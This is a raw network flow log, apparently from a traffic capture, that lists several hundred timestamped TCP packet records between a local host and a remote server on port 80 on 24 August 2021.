Aug 24, 2021 14:01:37.003820896 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.003834009 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.003859997 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.003911018 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.003974915 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.004612923 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.004632950 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.004646063 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.004690886 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.005408049 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.005426884 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.005462885 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.005645037 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.005662918 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.005678892 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.005695105 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.005706072 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.005723953 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.006529093 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.006547928 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.006565094 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.006582022 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.006603003 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.007285118 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.007317066 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.007333994 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.007353067 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.007365942 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.007400036 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.008132935 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.008152962 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.008164883 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.008183002 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.008199930 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.008255959 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.008358955 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.008927107 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.008944988 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.008958101 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.008975029 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.009016037 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.009104013 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.009792089 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.009812117 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.009830952 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.009924889 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.010409117 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.010438919 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.010457039 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.010473967 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.010513067 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.010585070 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.011250973 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.011266947 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.011280060 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.011296988 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.011415958 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.019032955 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.019056082 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.019068003 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.019167900 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.019300938 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.019320965 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.019332886 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.019437075 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.019474030 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.020104885 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.020123959 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.020134926 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.020595074 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.021210909 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.021230936 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.021414995 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.024213076 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.024234056 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.024246931 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.024259090 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.024271965 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.024282932 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.024296045 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.024303913 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.024307966 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.024321079 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.024333000 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.024343967 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.024350882 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.024357080 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.024369955 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.024384975 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.024396896 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.024411917 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.024413109 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.024426937 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.024450064 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.024468899 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.024483919 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.024486065 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.024507999 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.024525881 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.024555922 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.024601936 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.025212049 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.025229931 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.025242090 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.025274038 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.026124001 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.026144028 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.026160955 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.026177883 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.026279926 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.026684046 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.026702881 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.026715040 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.026727915 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.026770115 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.026818991 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.027693987 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.027714968 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.027734041 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.027769089 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.027787924 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.027790070 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.027808905 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.027827978 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.027854919 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.036130905 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.036154032 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.036165953 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.036178112 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.039141893 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.039256096 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.039278030 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.039289951 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.039307117 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.039314985 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.039323092 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.039340973 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.039362907 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.039397001 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.043221951 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.043256998 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.043268919 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.043281078 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.043288946 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.043299913 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.043313026 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.043324947 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.043335915 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.043346882 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.043359041 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.043371916 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.043382883 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.043394089 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.043404102 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.043415070 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.043426991 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.043437958 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.043448925 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.043461084 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.043473005 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.043484926 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.043494940 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.043507099 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.043518066 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.043529987 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.043540955 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.043551922 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.043562889 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.046251059 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.046267033 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.046278000 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.046291113 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.046303988 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.046314955 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.046325922 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.046335936 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.046354055 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.049118996 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.055596113 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.055617094 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.055629015 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.055645943 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.055661917 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.055679083 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.055686951 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.055711031 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.055728912 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.056649923 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.065319061 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.065340996 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.065352917 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.065370083 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.065382004 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.065382004 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.065402031 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.065402985 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.065433979 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.065566063 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.065583944 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.065599918 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.065607071 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.065619946 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.065646887 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.065800905 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.065821886 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.065840960 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.065850973 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.065891027 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.065896034 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.065911055 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.065928936 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.065948009 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.065964937 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.065964937 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.066004992 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.066710949 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.066730022 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.066749096 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.066760063 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.066801071 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.066802979 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.066819906 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.066837072 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.066854000 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.066871881 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.066884995 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.066910028 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.067719936 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.067739964 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.067775965 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.067786932 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.067805052 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.067821026 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.067826986 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.067874908 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.067874908 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.067894936 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.067913055 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.067966938 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.069150925 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.069169998 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.069181919 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.069194078 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.069205999 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.069219112 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.069231033 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.069242001 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.071144104 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.072165966 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.072185993 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.072204113 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.072213888 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.072221041 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.072241068 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.072253942 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.072261095 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.072278023 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.072289944 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.072293997 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.072310925 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.072328091 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.072344065 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.072360992 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.072379112 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.072380066 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.072385073 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.072396994 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.072402000 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.072422028 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.072438955 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.072439909 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.072457075 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.072467089 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.072474003 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.072499037 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.072499990 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.072519064 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.072535992 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.072544098 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.072556019 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.072575092 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.072582960 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.072591066 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.072607994 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.072624922 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.072627068 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.072642088 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.072658062 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.072668076 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.072685957 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.072701931 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.072706938 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.072726011 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.073088884 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.073108912 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.073143959 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.073329926 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.073352098 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.073374987 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.073378086 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.073393106 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.073414087 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.073421001 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.073436022 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.073453903 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.073458910 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.073473930 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.073502064 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.074322939 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.074342012 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.074354887 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.074372053 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.074388981 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.074399948 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.074407101 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.074430943 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.075146914 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.075174093 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.075191021 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.075202942 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.075207949 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.075226068 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.075246096 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.075249910 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.075264931 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.075277090 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.075282097 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.075300932 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.075309992 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.075320005 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.075350046 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:37.076170921 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:37.076191902 CEST	80	49724	172.67.216.236	192.168.2.3
